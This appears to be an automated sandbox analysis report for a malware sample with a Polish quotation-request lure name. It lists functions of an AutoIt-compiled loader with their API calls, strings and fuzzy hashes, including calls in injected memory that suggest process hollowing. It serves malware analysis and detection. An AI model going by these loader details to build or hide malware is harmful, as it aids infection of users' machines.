API ID: __fread_nolock$_fseek_wcscpy
String ID: FILE
API String ID: 3888824918-3121273764
Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA

Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00410326
RegisterClassExW.USER32 ref: 00410359
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
LoadIconW.USER32(00400000,000000A9), ref: 004103B1
ImageList_ReplaceIcon.COMCTL32(00AB0218,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1

Strings

TaskbarCreated, xrefs: 0041035F
+, xrefs: 0041030A
AutoIt v3 GUI, xrefs: 00410349
0, xrefs: 00410302

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A

Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 004101F9
LoadCursorW.USER32(00000000,00007F00), ref: 00410209
LoadIconW.USER32(?,00000063), ref: 0041021F
LoadIconW.USER32(?,000000A4), ref: 00410232
LoadIconW.USER32(?,000000A2), ref: 00410245
LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
RegisterClassExW.USER32 ref: 004102C6

Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00AB0218,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1

Strings

0, xrefs: 0041028A
PGH, xrefs: 004102AE
#, xrefs: 00410292

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$PGH
API String ID: 423443420-3673556320
Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99

Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fseek.LIBCMT ref: 004525DA

Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9

__fread_nolock.LIBCMT ref: 00452618
__fread_nolock.LIBCMT ref: 00452629
__fread_nolock.LIBCMT ref: 00452644
__fread_nolock.LIBCMT ref: 00452661
_fseek.LIBCMT ref: 0045267D
_malloc.LIBCMT ref: 00452689
_malloc.LIBCMT ref: 00452696
__fread_nolock.LIBCMT ref: 004526A7

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __fread_nolock$_fseek_malloc_wcscpy
String ID:
API String ID: 1911931848-0
Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A

Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcat.LIBCMT ref: 0040F483
__fread_nolock.LIBCMT ref: 0040F4C6
_fseek.LIBCMT ref: 0040F517

Strings

AU3!, xrefs: 0040F47D
EA06, xrefs: 004293A9

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __fread_nolock_fseek_strcat
String ID: AU3!$EA06
API String ID: 3818483258-2658333250
Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B

Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00401257

Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF

KillTimer.USER32(?,?), ref: 004012B0
SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
String ID:
API String ID: 1792922140-0
Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB

Function 03EE0260 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03EE0331
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03EE0557

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction ID: 870e22fec247e3529c0653321e114dc33576be3df3fe832dd083aa9f77e7877e
Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction Fuzzy Hash: 1FA12875E00208EBDB14CFA5C994BEEB7B5BF48304F249699E111BB280D7B59E81CB64

Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00414F72
_memcpy_s.LIBCMT ref: 00414FE7
__fileno.LIBCMT ref: 00415047
__read.LIBCMT ref: 0041504E
__filbuf.LIBCMT ref: 00415072
_memset.LIBCMT ref: 004150B8
_memset.LIBCMT ref: 004150E3

Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99

Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

_memset.LIBCMT ref: 00401C62
_wcsncpy.LIBCMT ref: 00401CA1
_wcscpy.LIBCMT ref: 00401CBD
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF

Strings

Line: , xrefs: 0042A9F0

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
String ID: Line:
API String ID: 1620655955-1585850449
Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B

Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
ShowWindow.USER32(?,00000000), ref: 00410454
ShowWindow.USER32(?,00000000), ref: 0041045E

Strings

AutoIt v3, xrefs: 00410409, 0041040E
edit, xrefs: 00410432

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C

Function 00410130 Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(00000000), ref: 0041013A
SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
_wcscpy.LIBCMT ref: 00410160
SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
_wcscpy.LIBCMT ref: 004101AC
_wcscpy.LIBCMT ref: 00429451

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _wcscpy$DesktopFolderFromListMallocPath
String ID:
API String ID: 192938534-0
Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6

Function 03EE0000 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

Part of subcall function 03EDFEF0: Sleep.KERNELBASE(000001F4), ref: 03EDFF01

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03EE0158

Strings

6GYVRO80J099J0R0IEX9D4U, xrefs: 03EE01BB, 03EE01BE

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateFileSleep
String ID: 6GYVRO80J099J0R0IEX9D4U
API String ID: 2694422964-2036440520
Opcode ID: 3be23dc6204308110041a3fe0054ee75bb3b86666c43cc1fa25d93f0195b4bb8
Instruction ID: 28752e1f7e94d5a048e32930ec8f91c7fcf6090f642615272ad2dfa5d3829552
Opcode Fuzzy Hash: 3be23dc6204308110041a3fe0054ee75bb3b86666c43cc1fa25d93f0195b4bb8
Instruction Fuzzy Hash: 83618530D1428CDAEF11DBE4D8547EEBB79AF19304F044199E148BB2C1D7BA1B45CBA5

Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00413AA6

Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431

___sbh_find_block.LIBCMT ref: 00413AB1
___sbh_free_block.LIBCMT ref: 00413AC0
RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C

Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC

_strcat.LIBCMT ref: 0040F603

Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8

Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8

Strings

HH, xrefs: 0040F5EE

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
String ID: HH
API String ID: 1194219731-2761332787
Opcode ID: dda62e46bfe726ec08d2da4edb305482c5d49b6a6c5c86b03ff1868783609ec0
Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
Opcode Fuzzy Hash: dda62e46bfe726ec08d2da4edb305482c5d49b6a6c5c86b03ff1868783609ec0
Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A

Function 03EDEEF0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 03EDF71D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EDF741
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EDF763

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction ID: c6067584f5ec2b020ab7c9cb56e4a2307b1650a89d733013e6776d63baeeaeb1
Opcode Fuzzy Hash: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction Fuzzy Hash: 42620C34A14258DBEB24CFA4C850BDEB376EF58704F10A1A9D10DEB390E7759E82CB59

Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040E202
Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A

Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00411734

Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931

std::bad_alloc::bad_alloc.LIBCMT ref: 00411757

Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC

std::bad_exception::bad_exception.LIBCMT ref: 0041176B
__CxxThrowException@8.LIBCMT ref: 00411779

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

